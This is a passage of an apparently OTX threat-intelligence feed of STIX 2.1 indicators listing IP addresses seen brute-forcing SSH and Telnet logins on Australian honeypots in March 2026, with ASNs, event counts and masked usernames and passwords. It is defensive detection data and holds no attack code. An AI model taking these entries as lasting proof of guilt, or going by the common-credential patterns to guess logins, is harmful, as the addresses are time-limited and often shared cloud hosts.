      "valid_until": "2026-04-13T15:15:11.000Z"
    },
    {
      "created": "2026-03-12T15:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KW. ASN(s): 42961. Organisation(s): Mobile Telecommunications Company K.S.C.P..",
      "id": "indicator--0cf80a4a-abce-42b9-8eb3-7075aa5da879",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.19.79.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T15:15:13.000Z",
      "valid_until": "2026-04-13T15:15:11.000Z"
    },
    {
      "created": "2026-03-12T15:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--df9477e5-4e40-4104-819c-434503cf83bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.135.254.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T15:15:13.000Z",
      "valid_until": "2026-04-13T15:15:11.000Z"
    },
    {
      "created": "2026-03-12T15:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133676. Organisation(s): Precious netcom pvt ltd.",
      "id": "indicator--95b6d5d7-6e07-463a-8be1-1c13f3668b9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.250.253.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T15:15:13.000Z",
      "valid_until": "2026-04-13T15:15:11.000Z"
    },
    {
      "created": "2026-03-12T15:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--4ea05228-b316-4d56-a5d0-cffdabc7438c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T15:15:13.000Z",
      "valid_until": "2026-04-13T15:15:11.000Z"
    },
    {
      "created": "2026-03-12T15:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--25884f6c-e24f-4a8e-94e2-a8841db8c2ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.243.12.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T15:15:13.000Z",
      "valid_until": "2026-04-13T15:15:11.000Z"
    },
    {
      "created": "2026-03-12T16:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): **, 3**********4, a******k, m**g, ***. Passwords observed (masked): 1***5, 1******8, 3***********4, 3**********4, m******s.",
      "id": "indicator--fd26dc13-ddb7-446c-9c90-1b2226ff51f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T16:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.210.22.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T16:15:08.000Z",
      "valid_until": "2026-04-13T16:15:05.000Z"
    },
    {
      "created": "2026-03-12T16:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 147185. Organisation(s): INFYNIX DATA SERVICES PRIVATE LIMITED.",
      "id": "indicator--3e1856ee-7e1c-4e54-a005-68730cce884d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T16:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.42.74.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T16:15:08.000Z",
      "valid_until": "2026-04-13T16:15:05.000Z"
    },
    {
      "created": "2026-03-12T16:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 76. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, 1****3, 1***5, 1****6, 1******8.",
      "id": "indicator--7e9d6a48-d333-4b45-bdb3-16cdbf7263f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T16:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '129.212.231.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T16:15:08.000Z",
      "valid_until": "2026-04-13T16:15:05.000Z"
    },
    {
      "created": "2026-03-12T16:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 11878. Organisation(s): tzulo, inc.. Usernames observed (masked): ***. Passwords observed (masked): ***.",
      "id": "indicator--a2a68edd-ebf5-4fa0-a701-da4ea5b0b9bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T16:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '130.51.21.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T16:15:08.000Z",
      "valid_until": "2026-04-13T16:15:05.000Z"
    },
    {
      "created": "2026-03-12T16:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 77. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***, s****a, n**e, u****u, v*******r. Passwords observed (masked): ***, ***, n**e, ***, s****3.",
      "id": "indicator--d3bdbfdb-2e80-4676-8f0f-98af4189fda7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T16:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.101.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T16:15:08.000Z",
      "valid_until": "2026-04-13T16:15:05.000Z"
    },
    {
      "created": "2026-03-12T16:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Heralding. Target ports: 5900. Source country: RU. ASN(s): 198953. Organisation(s): Proton66 OOO. Passwords observed (masked): 1**4, 1***5, 1****6.",
      "id": "indicator--6dfae003-e14b-4913-a5e8-3b2405b62d2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T16:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '37.77.150.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T16:15:08.000Z",
      "valid_until": "2026-04-13T16:15:05.000Z"
    },
    {
      "created": "2026-03-12T16:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--810f9b2a-f25d-4e45-9b2b-f739d9a438b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T16:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.91.28.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T16:15:08.000Z",
      "valid_until": "2026-04-13T16:15:05.000Z"
    },
    {
      "created": "2026-03-12T16:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 90. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): 1***5, 1****6, 1*****7, 1******8, 1*******9.",
      "id": "indicator--0d058f24-50e0-4002-873e-de865c7e5a4f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T16:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.227.142.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T16:15:08.000Z",
      "valid_until": "2026-04-13T16:15:05.000Z"
    },
    {
      "created": "2026-03-12T17:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 284. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): 3**********4, c****e, r**t, o*****n, g***********r. Passwords observed (masked): 3***********4, 3**********4, p******d, ***, 1***5.",
      "id": "indicator--15d8e56f-7113-497c-abdc-26a66a325d87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T17:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.172.204.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T17:15:24.000Z",
      "valid_until": "2026-04-13T17:15:11.000Z"
    },
    {
      "created": "2026-03-12T17:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 33. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, m***l, n***x, u****u.",
      "id": "indicator--1a956d90-8e8d-4679-8576-55d7e729c976",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T17:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '106.13.68.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T17:15:24.000Z",
      "valid_until": "2026-04-13T17:15:11.000Z"
    },
    {
      "created": "2026-03-12T17:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--4938cf5e-eef7-4ddd-9e72-22eeee0720ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T17:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.110.249.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T17:15:24.000Z",
      "valid_until": "2026-04-13T17:15:11.000Z"
    },
    {
      "created": "2026-03-12T17:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***, s****a. Passwords observed (masked): ***, s****a.",
      "id": "indicator--e7375457-3ccc-40a5-b9f5-3f0459967d1b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T17:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.198.109.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T17:15:24.000Z",
      "valid_until": "2026-04-13T17:15:11.000Z"
    },
    {
      "created": "2026-03-12T17:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***, s****a, u****u. Passwords observed (masked): ***, s****a, u****u.",
      "id": "indicator--7afd990b-3bfc-47b3-be25-538caa7ee131",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T17:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.245.13.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T17:15:24.000Z",
      "valid_until": "2026-04-13T17:15:11.000Z"
    },
    {
      "created": "2026-03-12T17:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 213. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): c****e, r**t, 3**********4, g***********r, n***x. Passwords observed (masked): 3***********4, 3**********4, p******d, ***, 1***5.",
      "id": "indicator--c6b0aa22-8491-43f3-b7e5-c621f5f46da4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T17:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T17:15:24.000Z",
      "valid_until": "2026-04-13T17:15:11.000Z"
    },
    {
      "created": "2026-03-12T17:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--84c5e6b7-f727-45dd-8f2a-3cb0c3a38972",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T17:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T17:15:24.000Z",
      "valid_until": "2026-04-13T17:15:11.000Z"
    },
    {
      "created": "2026-03-12T17:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--1ef7a277-8d27-4441-8a26-d99ea9506f3a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T17:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T17:15:24.000Z",
      "valid_until": "2026-04-13T17:15:11.000Z"
    },
    {
      "created": "2026-03-12T17:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 56. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone. Usernames observed (masked): c****e, 3**********4, c****y, d****y, n**a. Passwords observed (masked): ***, 1***5, 1*******9, 1******!, 3***********4.",
      "id": "indicator--c7f1f482-a722-4060-99a9-01ac2835cede",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T17:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.178.101.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T17:15:24.000Z",
      "valid_until": "2026-04-13T17:15:11.000Z"
    },
    {
      "created": "2026-03-12T20:15:32.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131386. Organisation(s): Long Van System Solution JSC. Usernames observed (masked): k********s, 3**********4, a***s, c****e, ***. Passwords observed (masked): p******d, 1***5, 1****6, 3***********4, 3**********4.",
      "id": "indicator--cf71f66c-8a57-45d5-bdfb-e481a7c6460f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T20:15:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.200.25.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T20:15:32.000Z",
      "valid_until": "2026-04-13T20:15:05.000Z"
    },
    {
      "created": "2026-03-12T20:15:32.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--914345f2-6167-4052-b00b-f8373fc6196f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T20:15:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.232.101.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T20:15:32.000Z",
      "valid_until": "2026-04-13T20:15:05.000Z"
    },
    {
      "created": "2026-03-12T20:15:32.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b4cdc560-278d-4ec3-8f7d-3c1a8894693f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T20:15:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.204.184.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T20:15:32.000Z",
      "valid_until": "2026-04-13T20:15:05.000Z"
    },
    {
      "created": "2026-03-12T20:15:32.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--07e0b60b-1f20-40ca-8aaa-110c0a63afef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T20:15:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.189.147.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T20:15:32.000Z",
      "valid_until": "2026-04-13T20:15:05.000Z"
    },
    {
      "created": "2026-03-12T20:15:32.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--2c338591-05ed-4f33-82c9-e3dcf1010c6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T20:15:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.99.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T20:15:32.000Z",
      "valid_until": "2026-04-13T20:15:05.000Z"
    },
    {
      "created": "2026-03-12T20:15:32.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): P*************x, Q*****************6.",
      "id": "indicator--8f972d20-f8de-4c43-8a1c-3575e3403279",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T20:15:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.23.249.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T20:15:32.000Z",
      "valid_until": "2026-04-13T20:15:05.000Z"
    },
    {
      "created": "2026-03-12T20:15:32.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--d88697a6-386c-4b06-bbf2-d3fb30847576",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T20:15:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T20:15:32.000Z",
      "valid_until": "2026-04-13T20:15:05.000Z"
    },
    {
      "created": "2026-03-12T20:15:32.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--6214eae6-e403-4413-a5ea-b2d9be899e7a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T20:15:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T20:15:32.000Z",
      "valid_until": "2026-04-13T20:15:05.000Z"
    },
    {
      "created": "2026-03-12T20:15:32.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--a7bd9725-e481-43b1-ab3d-db6e21486ac1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T20:15:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T20:15:32.000Z",
      "valid_until": "2026-04-13T20:15:05.000Z"
    },
    {
      "created": "2026-03-12T21:15:44.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): a***t, 3**********4, b********r, c****e, ***. Passwords observed (masked): ***, 1***5, 1****6, 3***********4, 3**********4.",
      "id": "indicator--84e8a888-23cc-48d9-b3ab-2dbd44988272",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T21:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.26.36.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T21:15:44.000Z",
      "valid_until": "2026-04-13T21:15:11.000Z"
    },
    {
      "created": "2026-03-12T21:15:44.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17622. Organisation(s): China Unicom Guangzhou network. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--99f5e7ae-eeb8-42d0-a27d-9de7320e3bd1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T21:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.85.117.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T21:15:44.000Z",
      "valid_until": "2026-04-13T21:15:11.000Z"
    },
    {
      "created": "2026-03-12T21:15:44.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, 1*******9, a***n, p******d.",
      "id": "indicator--ae475eda-c525-4f15-b89b-8f843c7996ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T21:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.59.33.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T21:15:44.000Z",
      "valid_until": "2026-04-13T21:15:11.000Z"
    },
    {
      "created": "2026-03-12T21:15:44.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 401701. Organisation(s): cognetcloud INC. Usernames observed (masked): 3**********4, a***t, l*****s, b********r, c****e. Passwords observed (masked): 3***********4, 3**********4, ***, 1***5, 1****6.",
